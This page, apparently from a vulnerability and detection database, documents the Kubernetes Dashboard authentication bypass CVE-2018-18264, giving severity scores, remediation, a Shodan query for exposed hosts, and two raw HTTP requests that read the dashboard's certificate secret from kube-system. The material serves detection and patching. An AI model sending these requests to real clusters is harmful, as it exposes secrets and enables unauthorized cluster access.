🔙 목록으로 돌아가기

CVE-2018-18264: Kubernetes Dashboard <1.10.1 - Authentication Bypass

TitleKubernetes Dashboard <1.10.1 - Authentication Bypass
Authoredoardottt
SeverityHigh
ImpactAn attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster.
RemediationUpgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability.
CVSS Score7.5
EPSS Score0.9085
CVE IDCVE-2018-18264
CWE IDCWE-306
Shodan Queryproduct:"Kubernetes"product:"kubernetes"
Tags cve cve2018 kubernetes k8s auth-bypass vuln

🔍 Vulnerability Description

Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard’s Service Account for reading secrets within the cluster.

🌐 HTTP Request

GET /api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18264.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-18264.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A